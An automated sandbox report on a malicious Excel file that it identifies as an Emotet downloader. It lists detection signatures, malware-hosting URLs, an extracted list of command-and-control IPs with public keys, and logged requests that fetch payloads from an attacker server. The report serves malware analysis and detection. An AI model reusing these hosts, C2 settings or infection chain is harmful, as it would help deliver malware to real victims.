Windows Analysis Report
imedpub.com_10.xls

Overview

General Information

Sample Name: imedpub.com_10.xls
Analysis ID: 562396
MD5: b7d1edc6031adb3dfb8b7a4489da9102
SHA1: fbb0c3649b1741de48c037cea19f088acad5c6a6
SHA256: 6a9dd96ee5aeaedd9045f2bd76b3bd8d7f7b42cc37c46ad076791e33b1bb2fdc
Tags: SilentBuilderxls
Infos:

Detection

Hidden Macro 4.0 Emotet
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Found malicious Excel 4.0 Macro
Found malware configuration
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Yara detected Emotet
Multi AV Scanner detection for domain / URL
Sigma detected: Windows Shell File Write to Suspicious Folder
Document contains OLE streams with names of living off the land binaries
Powershell drops PE file
Sigma detected: MSHTA Spawning Windows Shell
Hides that the sample has been downloaded from the Internet (zone.identifier)
Document exploit detected (process start blacklist hit)
Sigma detected: Suspicious MSHTA Process Patterns
Sigma detected: Microsoft Office Product Spawning Windows Shell
Sigma detected: Suspicious PowerShell Command Line
Found Excel 4.0 Macro with suspicious formulas
Machine Learning detection for dropped file
Sigma detected: Mshta Spawning Windows Shell
C2 URLs / IPs found in malware configuration
Contains functionality to query locales information (e.g. system language)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to dynamically determine API calls
HTTP GET or POST without a user agent
Uses insecure TLS / SSL version for HTTPS connection
Document misses a certain OLE stream usually present in this Microsoft Office document type
Abnormal high CPU Usage
Found a hidden Excel 4.0 Macro sheet
Potential document exploit detected (unknown TCP traffic)
Searches for the Microsoft Outlook file path
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Drops PE files to the windows directory (C:\Windows)
Dropped file seen in connection with other malware
Found large amount of non-executed APIs
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to delete services
Creates a process in suspended mode (likely to inject code)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Creates files inside the system directory
Internet Provider seen in connection with other malware
Stores large binary data to the registry
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Potential document exploit detected (performs DNS queries)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
IP address seen in connection with other malware
Searches for user specific document files
Enables debug privileges
PE file contains an invalid checksum
Yara detected Xls With Macro 4.0
Connects to several IPs in different countries
Contains functionality to detect virtual machines (SLDT)
Potential key logger detected (key state polling based)
Creates a window with clipboard capturing capabilities
Document contains embedded VBA macros
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Potential document exploit detected (performs HTTP gets)

Classification

AV Detection
barindex
Antivirus detection for URL or domain
Source: https://www.yeald.finance/wp-adm Avira URL Cloud: Label: malware
Source: https://palankhir.hu/tools/GJRNh Avira URL Cloud: Label: malware
Source: https://palankhir.hu/tools/GJRNhZHz/ Avira URL Cloud: Label: malware
Source: http://tattooblog.cn/wp-includes/KJLv/PE3 Avira URL Cloud: Label: malware
Source: https://weddingbandsirelandjbk.com/hgsynt2/o/ Avira URL Cloud: Label: malware
Source: https://umanostudio.com/wp-admin Avira URL Cloud: Label: malware
Source: http://tattooblog.cn/wp-includes/KJLv/ Avira URL Cloud: Label: malware
Source: http://masboni.com/wp-admin/3zUQl/PE3 Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.htmlo Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.htmlfunction Avira URL Cloud: Label: malware
Source: http://starspeedng.com/One-File/ Avira URL Cloud: Label: malware
Source: http://starspeedng.com/One-File/U3Trml/ Avira URL Cloud: Label: phishing
Source: https://getcode.info/wp-content/ Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.html6 Avira URL Cloud: Label: malware
Source: https://falah.org.pk/vegasvulkan1000.falah.org.pk/ZBRx4QuUXfLH/PE3 Avira URL Cloud: Label: malware
Source: http://sneakadream.com/wp-conten Avira URL Cloud: Label: phishing
Source: https://tanquessepticos.com/wp-a Avira URL Cloud: Label: malware
Source: http://sneakadream.com/wp-content/pccmAOq/ Avira URL Cloud: Label: malware
Source: https://www.yeald.finance Avira URL Cloud: Label: malware
Source: https://www.yeald.finance/wp-admin/1WgPRm/PE3 Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.htmlB Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.htmlhttp://91.240.118.168/zzx/ccv/fe.html Avira URL Cloud: Label: malware
Source: http://tattooblog.cn/wp-includes Avira URL Cloud: Label: malware
Source: https://umanostudio.com/wp-admin/n1LG7aJnptBlQkC/ Avira URL Cloud: Label: malware
Source: https://www.yeald.finance/wp-admin/1WgPRm/ Avira URL Cloud: Label: malware
Source: https://allaagency.ro/wp-admin/7 Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.html Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.htmlWinSta0 Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.htmlC: Avira URL Cloud: Label: malware
Source: https://chochungcuhanoi.com/wp-c Avira URL Cloud: Label: malware
Source: https://chochungcuhanoi.com/wp-content/cyE2u0cnolP/PE3 Avira URL Cloud: Label: malware
Source: https://palankhir.hu/tools/GJRNhZHz/PE3 Avira URL Cloud: Label: malware
Source: http://masboni.com/wp-admin/3zUQl/ Avira URL Cloud: Label: malware
Source: https://falah.org.pk/vegasvulkan Avira URL Cloud: Label: phishing
Source: https://umanostudio.com/wp-admin/n1LG7aJnptBlQkC/PE3 Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe Avira URL Cloud: Label: malware
Source: https://chochungcuhanoi.com/wp-content/cyE2u0cnolP/ Avira URL Cloud: Label: malware
Source: https://weddingbandsirelandjbk.com/hgsynt2/o/PE3 Avira URL Cloud: Label: malware
Source: https://falah.org.pk/vegasvulkan1000.falah.org.pk/ZBRx4QuUXfLH/ Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.htmlmshta Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.htmlsE Avira URL Cloud: Label: malware
Source: https://tanquessepticos.com/wp-admin/ApVVbl1fQ0/PE3 Avira URL Cloud: Label: malware
Source: http://sneakadream.com/wp-content/pccmAOq/PE3 Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.pngPE3 Avira URL Cloud: Label: malware
Source: https://tanquessepticos.com/wp-admin/ApVVbl1fQ0/ Avira URL Cloud: Label: malware
Source: http://starspeedng.com/One-File/U3Trml/PE3 Avira URL Cloud: Label: phishing
Source: https://getcode.info/wp-content/QDx8b5j/ Avira URL Cloud: Label: malware
Source: http://91.240.118.168 URL Reputation: Label: malware
Source: https://allaagency.ro/wp-admin/7/PE3 Avira URL Cloud: Label: malware
Source: https://getcode.info/wp-content/QDx8b5j/PE3 Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.htmlv1.0YA Avira URL Cloud: Label: malware
Source: http://masboni.com/wp-admin/3zUQ Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.png Avira URL Cloud: Label: malware
Source: https://allaagency.ro/wp-admin/7/ Avira URL Cloud: Label: malware
Found malware configuration
Source: 15.2.rundll32.exe.300000.2.raw.unpack Malware Configuration Extractor: Emotet {"C2 list": ["160.16.102.168:80", "131.100.24.231:80", "200.17.134.35:7080", "207.38.84.195:8080", "212.237.56.116:7080", "58.227.42.236:80", "104.251.214.46:8080", "158.69.222.101:443", "192.254.71.210:443", "46.55.222.11:443", "45.118.135.203:7080", "107.182.225.142:8080", "103.75.201.2:443", "104.168.155.129:8080", "195.154.133.20:443", "159.8.59.82:8080", "110.232.117.186:8080", "45.142.114.231:8080", "41.76.108.46:8080", "203.114.109.124:443", "50.116.54.215:443", "209.59.138.75:7080", "185.157.82.211:8080", "164.68.99.3:8080", "162.214.50.39:7080", "138.185.72.26:8080", "178.63.25.185:443", "51.15.4.22:443", "81.0.236.90:443", "216.158.226.206:443", "45.176.232.124:443", "162.243.175.63:443", "212.237.17.99:8080", "45.118.115.99:8080", "129.232.188.93:443", "173.214.173.220:8080", "178.79.147.66:8080", "176.104.106.96:8080", "51.38.71.0:443", "173.212.193.249:8080", "217.182.143.207:443", "212.24.98.99:8080", "159.89.230.105:443", "79.172.212.216:8080", "212.237.5.209:443"], "Public Key": ["RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2", "RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj5"]}
Multi AV Scanner detection for submitted file
Source: imedpub.com_10.xls ReversingLabs: Detection: 30%
Multi AV Scanner detection for domain / URL
Source: www.yeald.finance Virustotal: Detection: 8% Perma Link
Source: https://palankhir.hu/tools/GJRNhZHz/ Virustotal: Detection: 11% Perma Link
Machine Learning detection for dropped file
Source: C:\Users\Public\Documents\ssd.dll Joe Sandbox ML: detected

Compliance
barindex
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 94.130.116.76:443 -> 192.168.2.22:49167 version: TLS 1.0
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: ;.PDB source: powershell.exe, 00000006.00000002.672109254.000000000027A000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_10021854 __EH_prolog3,GetFullPathNameA,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrlenA, 9_2_10021854
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_10021854 __EH_prolog3,GetFullPathNameA,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrlenA, 11_2_10021854
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 15_2_002D7E00 FindFirstFileW, 15_2_002D7E00

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\cmd.exe
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 91.240.118.168:80
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: www.yeald.finance
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 94.130.116.76:443

Networking
barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2034631 ET TROJAN Maldoc Activity (set) 192.168.2.22:49166 -> 91.240.118.168:80
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 160.16.102.168 80 Jump to behavior
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor IPs: 160.16.102.168:80
Source: Malware configuration extractor IPs: 131.100.24.231:80
Source: Malware configuration extractor IPs: 200.17.134.35:7080
Source: Malware configuration extractor IPs: 207.38.84.195:8080
Source: Malware configuration extractor IPs: 212.237.56.116:7080
Source: Malware configuration extractor IPs: 58.227.42.236:80
Source: Malware configuration extractor IPs: 104.251.214.46:8080
Source: Malware configuration extractor IPs: 158.69.222.101:443
Source: Malware configuration extractor IPs: 192.254.71.210:443
Source: Malware configuration extractor IPs: 46.55.222.11:443
Source: Malware configuration extractor IPs: 45.118.135.203:7080
Source: Malware configuration extractor IPs: 107.182.225.142:8080
Source: Malware configuration extractor IPs: 103.75.201.2:443
Source: Malware configuration extractor IPs: 104.168.155.129:8080
Source: Malware configuration extractor IPs: 195.154.133.20:443
Source: Malware configuration extractor IPs: 159.8.59.82:8080
Source: Malware configuration extractor IPs: 110.232.117.186:8080
Source: Malware configuration extractor IPs: 45.142.114.231:8080
Source: Malware configuration extractor IPs: 41.76.108.46:8080
Source: Malware configuration extractor IPs: 203.114.109.124:443
Source: Malware configuration extractor IPs: 50.116.54.215:443
Source: Malware configuration extractor IPs: 209.59.138.75:7080
Source: Malware configuration extractor IPs: 185.157.82.211:8080
Source: Malware configuration extractor IPs: 164.68.99.3:8080
Source: Malware configuration extractor IPs: 162.214.50.39:7080
Source: Malware configuration extractor IPs: 138.185.72.26:8080
Source: Malware configuration extractor IPs: 178.63.25.185:443
Source: Malware configuration extractor IPs: 51.15.4.22:443
Source: Malware configuration extractor IPs: 81.0.236.90:443
Source: Malware configuration extractor IPs: 216.158.226.206:443
Source: Malware configuration extractor IPs: 45.176.232.124:443
Source: Malware configuration extractor IPs: 162.243.175.63:443
Source: Malware configuration extractor IPs: 212.237.17.99:8080
Source: Malware configuration extractor IPs: 45.118.115.99:8080
Source: Malware configuration extractor IPs: 129.232.188.93:443
Source: Malware configuration extractor IPs: 173.214.173.220:8080
Source: Malware configuration extractor IPs: 178.79.147.66:8080
Source: Malware configuration extractor IPs: 176.104.106.96:8080
Source: Malware configuration extractor IPs: 51.38.71.0:443
Source: Malware configuration extractor IPs: 173.212.193.249:8080
Source: Malware configuration extractor IPs: 217.182.143.207:443
Source: Malware configuration extractor IPs: 212.24.98.99:8080
Source: Malware configuration extractor IPs: 159.89.230.105:443
Source: Malware configuration extractor IPs: 79.172.212.216:8080
Source: Malware configuration extractor IPs: 212.237.5.209:443
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /wp-admin/1WgPRm/ HTTP/1.1Host: www.yeald.financeConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /zzx/ccv/fe.png HTTP/1.1Host: 91.240.118.168Connection: Keep-Alive
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 94.130.116.76:443 -> 192.168.2.22:49167 version: TLS 1.0
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /zzx/ccv/fe.html HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 91.240.118.168Connection: Keep-Alive
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: HETZNER-ASDE HETZNER-ASDE
Source: Joe Sandbox View ASN Name: OnlineSASFR OnlineSASFR
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 94.130.116.76 94.130.116.76
Source: Joe Sandbox View IP Address: 195.154.133.20 195.154.133.20
Connects to several IPs in different countries
Source: unknown Network traffic detected: IP country count 21
Source: powershell.exe, 00000006.00000002.674371318.00000000035B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.240.11
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.674371318.00000000035B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.240.118.168
Source: powershell.exe, 00000006.00000002.674371318.00000000035B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.240.118.168/zzx/ccv/fe
Source: mshta.exe, 00000004.00000002.433277955.000000000039E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.433323988.00000000003F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.433420430.0000000000496000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418463875.000000000319E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.417270436.0000000003188000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.html
Source: mshta.exe, 00000004.00000002.433277955.000000000039E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.html6
Source: imedpub.com_10.xls.0.dr String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.htmlB
Source: mshta.exe, 00000004.00000002.433356985.0000000000419000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.htmlC:
Source: mshta.exe, 00000004.00000002.433261610.0000000000360000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.htmlWinSta0
Source: mshta.exe, 00000004.00000003.419183673.0000000002A6D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.htmlfunction
Source: mshta.exe, 00000004.00000003.419030609.0000000002A65000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.htmlhttp://91.240.118.168/zzx/ccv/fe.html
Source: mshta.exe, 00000004.00000002.433261610.0000000000360000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.htmlmshta
Source: mshta.exe, 00000004.00000002.433420430.0000000000496000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.htmlo
Source: mshta.exe, 00000004.00000002.433277955.000000000039E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.htmlsE
Source: mshta.exe, 00000004.00000003.417104414.000000000317F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.433793500.00000000031A2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.432391845.00000000031A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.417832916.0000000003198000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418463875.000000000319E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.417270436.0000000003188000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.htmlv1.0YA
Source: powershell.exe, 00000006.00000002.674371318.00000000035B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.png
Source: powershell.exe, 00000006.00000002.674371318.00000000035B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.pngPE3
Source: powershell.exe, 00000006.00000002.677729797.000000001B468000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.677710900.000000001B449000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.672134847.000000000029F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.677744196.000000001B47F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.672280247.000000000041C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.672271946.0000000000411000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 00000006.00000002.677744196.000000001B47F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.672280247.000000000041C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 00000006.00000002.677729797.000000001B468000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.677744196.000000001B47F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.672280247.000000000041C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.672271946.0000000000411000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 00000006.00000002.677753484.000000001B48D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000006.00000002.677729797.000000001B468000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.672280247.000000000041C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 00000006.00000002.677729797.000000001B468000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.677744196.000000001B47F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.672280247.000000000041C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: rundll32.exe, 0000000F.00000002.672219748.00000000003DB000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F8008506.15.dr String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://masboni.c
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://masboni.com/wp-admin/3zUQ
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://masboni.com/wp-admin/3zUQl/
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://masboni.com/wp-admin/3zUQl/PE3
Source: powershell.exe, 00000006.00000002.677729797.000000001B468000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.677744196.000000001B47F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.672280247.000000000041C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000006.00000002.677710900.000000001B449000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.672271946.0000000000411000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 00000006.00000002.677729797.000000001B468000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.672280247.000000000041C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe, 00000006.00000002.677729797.000000001B468000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.672134847.000000000029F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.672280247.000000000041C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 00000006.00000002.677710900.000000001B449000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.672271946.0000000000411000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 00000006.00000002.677729797.000000001B468000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.677744196.000000001B47F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.672280247.000000000041C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.672271946.0000000000411000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 00000006.00000002.677744196.000000001B47F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.672280247.000000000041C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://sneakadream.com/wp-conten
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://sneakadream.com/wp-content/pccmAOq/
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://sneakadream.com/wp-content/pccmAOq/PE3
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://starspeedng.com/One-File/
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://starspeedng.com/One-File/U3Trml/
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://starspeedng.com/One-File/U3Trml/PE3
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tattooblog.cn/wp-includes
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tattooblog.cn/wp-includes/KJLv/
Source: powershell.exe, 00000006.00000002.674504830.0000000003705000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tattooblog.cn/wp-includes/KJLv/PE3
Source: powershell.exe, 00000006.00000002.677744196.000000001B47F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.672280247.000000000041C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 00000006.00000002.677729797.000000001B468000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.677744196.000000001B47F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.672280247.000000000041C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 00000006.00000002.672090023.000000000025C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: mshta.exe, 00000004.00000002.433399492.000000000044B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.417104414.000000000317F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.417168851.00000000031CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418402237.000000000317F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.432916821.0000000003180000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.433813182.00000000031CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.432328982.00000000031CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.432944579.000000000313F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.417763743.000000000317F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.432086271.00000000031CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.433727855.000000000313F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.protware.com
Source: mshta.exe, 00000004.00000002.433840296.000000000321F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.433713117.000000000312B000.00000004.00000010.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418141010.000000000321F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.417223440.000000000321F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.432232024.000000000321F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.432985416.000000000321F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418629434.000000000321F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.protware.com/
Source: mshta.exe, 00000004.00000003.417168851.00000000031CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.433813182.00000000031CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.432328982.00000000031CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.432086271.00000000031CC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.protware.com/A
Source: rundll32.exe, 0000000F.00000002.672219748.00000000003DB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://160.16.102.168/
